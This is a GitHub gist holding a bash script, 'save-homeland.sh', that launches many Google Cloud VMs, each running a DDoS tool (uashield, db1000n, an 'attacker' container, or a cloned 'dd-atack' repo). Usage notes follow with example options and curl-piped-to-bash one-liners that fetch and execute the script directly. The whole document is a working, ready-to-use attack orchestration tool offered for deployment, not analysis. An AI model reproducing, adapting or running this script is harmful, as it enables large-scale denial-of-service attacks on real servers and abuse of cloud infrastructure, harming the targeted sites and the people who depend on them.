Last active
March 11, 2022 15:43
-
-
Save themkvz/6813718135f51eeef224772e723c2bdf to your computer and use it in GitHub Desktop.
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#!/usr/bin/env bash | |
available_providers=("uashield" "db1000n" "db1000n_adv" "php" "python") | |
usage() { | |
cat << EOF | |
Usage: $(basename "${BASH_SOURCE[0]}") [-h] [-v] [-t] [-c] [-p] [--custom-cpu] [--custom-memory] provider_name | |
Available options: | |
-h, --help Print this help and exit | |
-v, --verbose Print script debug info | |
-t, --thread Thread count (default: 500) | |
-c, --count VMs count (default: 12) | |
-p, --proxy Is use proxy? (default: 1 (true)) | |
--custom-cpu Custom cpu number (default: 1) | |
--custom-memory Custom memory (default: 2) | |
Available provider_name: | |
$(echo ${available_providers[*]}) | |
EOF | |
exit | |
} | |
setup_colors() { | |
if [[ -t 2 ]] && [[ -z "${NO_COLOR-}" ]] && [[ "${TERM-}" != "dumb" ]]; then | |
NOFORMAT='\033[0m' RED='\033[0;31m' GREEN='\033[0;32m' ORANGE='\033[0;33m' BLUE='\033[0;34m' PURPLE='\033[0;35m' CYAN='\033[0;36m' YELLOW='\033[1;33m' | |
else | |
NOFORMAT='' RED='' GREEN='' ORANGE='' BLUE='' PURPLE='' CYAN='' YELLOW='' | |
fi | |
} | |
msg() { | |
echo >&2 "${1-}" | |
} | |
die() { | |
local msg=$1 | |
local code=${2-1} # default exit status 1 | |
msg "$msg" | |
exit "$code" | |
} | |
parse_params() { | |
proxy=1 | |
thread=500 | |
vm_count=12 | |
cpu=1 | |
memory=2 | |
while :; do | |
case "${1-}" in | |
-h | --help) usage ;; | |
-v | --verbose) set -x ;; | |
--no-color) NO_COLOR=1 ;; | |
--custom-cpu) | |
cpu=${2-1} | |
shift | |
;; | |
--custom-memory) | |
memory=${2-2} | |
shift | |
;; | |
-c | --count) | |
vm_count=${2-12} | |
shift | |
;; | |
-t | --thread) | |
thread="${2-500}" | |
shift | |
;; | |
-p | --proxy) | |
proxy="${2-1}" | |
shift | |
;; | |
-?*) die "Unknown option: $1" ;; | |
*) break ;; | |
esac | |
shift | |
done | |
args=("$@") | |
provider=${args[0]-'uashield'} | |
[[ ! $cpu -gt 0 ]] && die "CPU (--custom-cpu) must be positive integer" | |
[[ ! $memory -gt 0 ]] && die "Memory (--custom-memory) must be positive integer" | |
[[ ! $thread -gt 0 ]] && die "Thread (-t | --thread) must be positive integer" | |
[[ ! $vm_count -gt 0 ]] && die "Count VMs (-c | --count) must be positive integer" | |
if [[ ! $proxy -eq 0 ]] && [[ ! $proxy -eq 1 ]] | |
then | |
die "Not correct value (-p | --proxy)" | |
fi | |
[[ ! " ${available_providers[*]} " =~ " ${provider} " ]] && die "Provider ${RED}$provider${NOFORMAT} not available" | |
return 0 | |
} | |
parse_params "$@" | |
setup_colors | |
msg "\n${ORANGE}Options:${NOFORMAT}\n" | |
msg "${GREEN}Provider${NOFORMAT}: ${provider}" | |
msg "${GREEN}Proxy${NOFORMAT}: ${proxy}" | |
msg "${GREEN}Thread${NOFORMAT}: ${thread}" | |
msg "${GREEN}VM count${NOFORMAT}: ${vm_count}" | |
msg "${GREEN}Custom cpu${NOFORMAT}: ${cpu}" | |
msg "${GREEN}Custom memory${NOFORMAT}: ${memory}" | |
# msg "Arguments: ${args[*]}" | |
ZONES=( $(gcloud compute zones list | awk '{if (NR!=1) {print $1}}') ) | |
startup_script='#! /bin/bash | |
sudo apt update | |
sudo apt install --yes apt-transport-https ca-certificates curl gnupg2 software-properties-common | |
curl -fsSL https://download.docker.com/linux/debian/gpg | sudo apt-key add - | |
sudo add-apt-repository "deb [arch=amd64] https://download.docker.com/linux/debian $(lsb_release -cs) stable" | |
sudo apt update | |
sudo apt install --yes docker-ce | |
sudo usermod -aG docker $USER | |
sudo service docker restart | |
' | |
case "$provider" in | |
"uashield") | |
[[ $proxy -eq 1 ]] && uashield_proxy="true" || uashield_proxy="false" | |
startup_script="${startup_script}sudo docker run --rm -d ghcr.io/opengs/uashield:master ${thread} ${uashield_proxy}" | |
;; | |
"db1000n") | |
startup_script="${startup_script}sudo docker run --rm -d ghcr.io/arriven/db1000n" | |
;; | |
"db1000n_adv") | |
startup_script="${startup_script}sudo docker run --rm -d ghcr.io/arriven/db1000n-advanced" | |
;; | |
"python") | |
startup_script="${startup_script}sudo docker run --rm -d ghcr.io/luzhnuy/attacker:latest ${thread}" | |
;; | |
"php") | |
addiction_script='sudo curl -L https://github.com/docker/compose/releases/download/1.23.2/docker-compose-`uname -s`-`uname -m` -o /usr/local/bin/docker-compose | |
sudo chmod +x /usr/local/bin/docker-compose | |
git clone https://gitlab.com/ELWAHAB/dd-atack | |
cd dd-atack | |
sudo sh setup.sh | |
' | |
startup_script="${startup_script}${addiction_script}" | |
startup_script="${startup_script}sudo sh atack.sh ${thread}" | |
;; | |
esac | |
msg "\n${YELLOW}Start creating VMs${NOFORMAT}\n" | |
for i in $(seq 1 $vm_count); | |
do | |
name="${provider}${i}" | |
name=${name//[_]/'-'} | |
zone=${ZONES[$(($RANDOM % ${#ZONES[@]}))]} | |
gcloud compute instances create $name --zone=$zone --custom-cpu=$cpu --custom-memory=$memory --metadata=startup-script="$startup_script"; | |
done | |
die "\n${GREEN}Finish${NOFORMAT}" 0 |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment
Usage:
curl -L https://gist.github.com/themkvz/6813718135f51eeef224772e723c2bdf/raw -o save-homeland.sh
chmod +x save-homeland.sh
bash save-homeland.sh -h
Example options:
bash save-homeland.sh
- 12 VMs with uashield script with proxybash save-homeland.sh -c 6
- 6 VMs with uashield script with proxybash save-homeland.sh -c 6 -t 50 php
- 6 VMs with php script, 50 docker containersbash save-homeland.sh -c 6 -t 300 python
- 6 VMs with python script with 300 threadsbash save-homeland.sh -c 6 db1000n
- 6 VMs with db1000n scriptbash save-homeland.sh -c 6 -t 500 -p 0 uashield
- 6 VMs with uashield script without proxybash save-homeland.sh -h
- helpWithout download:
curl -sL https://gist.github.com/themkvz/6813718135f51eeef224772e723c2bdf/raw | bash -s -- -h
- helpExample:
curl -sL https://gist.github.com/themkvz/6813718135f51eeef224772e723c2bdf/raw | bash -s -- -t 50 php
- PHP Script